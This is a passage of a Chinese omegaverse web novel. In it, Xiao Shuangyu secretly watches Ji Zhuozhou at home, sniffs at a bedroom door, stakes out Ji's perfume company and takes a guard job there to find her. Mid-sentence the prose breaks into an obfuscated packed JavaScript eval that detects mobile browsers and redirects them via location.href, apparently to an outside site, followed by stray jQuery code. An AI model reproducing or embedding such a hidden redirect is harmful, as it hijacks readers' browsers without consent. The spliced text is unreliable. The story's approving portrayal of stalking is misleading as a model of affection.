萧双郁没有反对,或者说没法反对。
她强打起精神赶走困意,却没法说服自己留下来。
可当她不情不愿走上楼梯,还是在拐角处停了下来,从高处偷偷看向重新回到客厅的纪酌舟。
外延的墙体几乎将客厅全部遮挡,纪酌舟背对她坐着,隐隐只能看到小半边身子,似乎是将什么东西放在了腿上,垂着头在看。
背影纤瘦也落寞。
萧双郁几乎不需要想就知道纪酌舟在看着什么,她刻意不去想,见纪酌舟久久不动,干脆也坐下来,将额头抵在楼梯的扶手栏杆上。
漆黑的眼神有如实质,一点一点攀爬蔓延,带着几近潮湿的触感将纪酌舟包裹,沉默的叫嚣。
忽地,纪酌舟抬起了头。
萧双郁反应迅速,在纪酌舟转头之前飞快将自己挪到了两级台阶之上,完全避开纪酌舟的视线躲在了墙壁之后,心脏怦怦直跳。
好险。
她想再回去,又怕纪酌舟还在看着这边,纠结在了原地。
远处客厅那边又传来些许悉悉索索的声响,似乎是纪酌舟起身准备往这边走。
萧双郁吓了一跳,赶忙转过身轻手轻脚跑回楼上,将自己塞进房间。
抵着门,心脏仍跳得分明。
虽然她和萧明意的房间都在二楼,但中间隔着楼梯和一段距离,即使贴在门上也听不到纪酌舟的声音。
纪酌舟的脚步太轻了。
她有些低落,又不知道自己是不是应该开心一点,毕竟这样的话,她也不会听到纪酌舟走进萧明意的房间。
只是她不知道,楼下,纪酌舟放下手中的工作回头时,正见一抹黑影自楼梯拐角处闪走,也并不走远,留一截裤脚没能藏好。
纪酌舟轻易认出那是萧双郁,想到什么起身,正要走过去,却见那截裤脚再次跑走。
等到纪酌舟站在楼梯口时,楼梯处已经空无一物。
纪酌舟回过头将一楼整体扫过,停顿在客厅里供桌的方向,忽地有些恍然。
含蓄、沉默、内敛,还真是跟她姐姐差别分明。
但……
纪酌舟捻了捻指尖,早上被紧握住的微凉触感似是仍显清晰。
***
或许是因为回到了家,萧双郁这一觉睡得很不安稳。
六月的早晨天亮得很早,即使还不到六点,也已经亮得清楚,萧双郁从床上爬起,仍是毫无神采的一双眼,仍是浓重乌青的黑眼圈。
她走出房门,站在楼梯口听了一会儿,没听到妈妈们的声音,这才放轻脚步走下来,转了一圈,没看到纪酌舟。
时间确实是有点早了。
站在客厅中间放空了一会儿,她还是走上楼梯,来到二楼另一侧的房间前。
光是站在萧明意的房间门口就让她很不高兴,严严实实的房门杜绝了内里的气息和动静更让她感到不满。
饶是如此,不高兴的萧双郁还是凑得很近,将耳朵与鼻尖凑近门缝,深深的嗅,试图嗅到什么,也试图听到什么。
楼下,似有拖沓的脚步声靠近楼梯。
听起来是童姨。
明知童姨这个点应该不会上楼,萧双郁还是格外心虚的仓皇转身,又很是刻意的走下楼梯,闷声跟童姨打了个招呼。
童姨笑眯眯跟她道早,又问:“二小姐要吃早饭吗?刚刚纪小姐走得太快都没吃,厨房正好有现成的。”
萧双郁懵在原地,不可置信的喃喃,“走了?”
童姨说是,“纪小姐起得早,可能是客房许久没用,让她睡得不舒服了……”
后面童姨再说了些什么,萧双郁都好像没能听到。
她的心情突然很好,远超过那点好像听错了门带来的不爽。
原来,纪酌舟没有住进萧明意的房间啊,原来,纪酌舟昨晚住进了客房啊。
她没有拒绝童姨说的早饭,将准备给纪酌舟的早饭全部都塞到了自己的肚子里,赶在妈妈们起床下楼之前,匆匆离开了家。
她没有回自己的出租屋,赶在早高峰之前坐进地铁,一路挤到了CBD边缘的一幢写字楼、斜对面的咖啡馆里。
照旧点了一杯手工现磨拿铁和一份慕斯蛋糕,照旧坐到被绿植遮挡了一半的窗边角落,萧双郁直勾勾盯向那幢写字楼。
那是华瑞香精香料公司,据说在国际香精香料公司中很有名气,产品涵盖香水、日化、食品等,占据着国外中高端市场,坐落在这里的,也只是华瑞的国内分公司。
但对于萧双郁而言,她唯一在乎的是,纪酌舟就在这家公司上班。
调香师,一个使用各种香料辅料调制气味的职业,纪酌舟在华瑞似乎就是这样的身份,主要负责各类香水的调配与辨识。
在这个alpha和omega都有其特定信息素气味,还有没有信息素也闻不到信息素气味的beta的世界里,香水的含义好像有所不同。
不过相同的是,能够调配出令人喜爱的气味并不是一件容易的事。
萧双郁每每想起,都无端为纪酌舟感到骄傲,因为哪怕不知道署名,从华瑞走向市场的香水都很受欢迎。
当然,萧双郁来到这里并不是因为多么欣赏华瑞公司,她说了,她唯一在乎的只有在这里上班的纪酌舟。
她在这里等待与纪酌舟见面。
别墅的位置比纪酌舟住处的距离更远一些,但纪酌舟离开的时间也确实早,不是没可能趁着有时间绕一点路先回去一趟再过来。
所以为了这个可能性,她干脆直接的来到了这里。
虽然距离华瑞大楼也有一点距离,到底是斜对面,咖啡馆内还是有华瑞的员工过来买咖啡吃早餐的。
她知道其中没有纪酌舟,便也毫不在意,等到店员将她点的东西端过来,拿起小勺慢慢的吃蛋糕。
眼睛却一瞬不瞬的落在华瑞门口,等待着纪酌舟的出现。
只是咖啡馆内逐渐冷清,向华瑞大楼内走的人也变得稀少,纪酌舟仍没有出现。
萧双郁慢吞吞将剩下的半个蛋糕吃完,还是按亮屏幕看了眼手机,已经过了上班时间半小时了。
看来,她已经错过跟纪酌舟的见面了。
萧双郁将目光转向杯壁已经挂满水珠的冰拿铁,想了想还是拿起来小小的嘬了一口。
苦苦的。
喝了这么久还是觉得不习惯。
点的单也好,座的位子也好,都是有一次她远远和纪酌舟见面时纪酌舟的选择,她从店员那里得到了确信。
尽管更多时候纪酌舟并不会靠近咖啡馆,所以她延续了下去。
小口小口的喝完,将杯子放下,然后起身,拿起放在一旁的背包向外走去。
没多时,她出现在华瑞的大厅。
这还是她第一次进入华瑞内部,明晃晃的亮意泼在她的身上,让她不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242627|181929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自在的闭了闭眼。
这里,就是纪酌舟每天上班一定会经过的地方啊。
有着淡淡的香气,但远没有纪酌舟身上雨雾的气息好闻。
只是可惜,并没有纪酌舟的气息残留在此。
缓了一瞬,她深吸一口气上前,向前台说明情况,很快就被领上楼。
面试过程快速也顺利,稍等了片刻,人事将她转交给保安队长,“小姑娘很优秀,你好好带。”
保安队长应了声是,转过头看向萧双郁,“王然,你可以叫我然姐,大家都这么叫我,你先跟着我熟悉熟悉吧。”
短发干练的beta是退伍的军人,约莫四十岁,拥有着强壮的体格,大刺刺向她伸出手。
萧双郁已经因为人事的话有些僵硬,将抱着的制服换到左手上,跟着伸出右手虚虚握过,“萧双郁。”
王然看着她的动作,一把握住她的手用力晃了晃,“小郁啊,别紧张,大家都很好相处的。”
萧双郁垂着眼睛看向被王然松开的手,感觉心口的不适因为一声“小郁”又加重几分,努力压了压,学着王然的说法开口,“叫我脸脸吧,大、大家都这么叫我。”
王然正转过身准备带她去保安休息室换衣服,闻言又笑了笑,“怎么叫‘脸脸’啊,还怪可爱的,挺适合你啊。”
萧双郁胡乱应了一声,没再继续这个话题。
在换衣服之前,萧双郁先去了趟卫生间,干呕几下没吐出来,在洗手台狠狠往自己的脸上拍了几把冷水。
压住眼底乌青的粉底倒是并未脱落,她的脸色却不太好看。
被夸了。
不舒服。
深吸几口气缓了缓,她还是打起精神。
还没见到纪酌舟,不能就这样退缩。
换好衣服后,王然从下到上一层层带她熟悉华瑞内部的区域与路线,越是向上,萧双郁就越是紧绷。
根据萧双郁的调查,华瑞大楼七层到九层是核心的研发区域,也就是说,纪酌舟大抵就在其中某一层。
进入七层后,门禁果然变得更加严格,保安寻常并没有权限进入其中,王然只是站在门禁之外告诉她内里的大致划分。
萧双郁边听边点头记下,隔着最后一道无法跨入的玻璃窗偷偷向内窥视。
偶尔有穿着白大褂的员工在走廊穿过,萧双郁的视线飞快盯过去,又失望回落。
七层、八层……九层。
没有纪酌舟。
不对。
九层,在王然的介绍接近尾声之际,一道纤细的倩影携着雨雾的气息踏入走廊,毫无所察的,背对着她走向更深处。
萧双郁一下子好像忘记了呼吸,不觉更上前一步,几乎贴在冰冷门禁毫无感情的玻璃窗前,无意识的深深嗅闻。
是她。
是纪酌舟。
今天也、终于见到面了。
耳边,王然已经结束,“好了,我们继续走吧,脸脸?”
萧双郁完全没能听到,她的眼睛好像黏连在纪酌舟的背影,为那道即使包裹在白大褂内也依然美丽的身影着迷。
直到,王然手掌挥在她眼前的同时,走廊内转过身去开另一道门的omega,在手腕按下的瞬间,扭过头向着门禁看来。
咔。
纪酌舟松开了门把手,快步朝她而来。
哒。
萧双郁惊慌后落半步,心跳不已。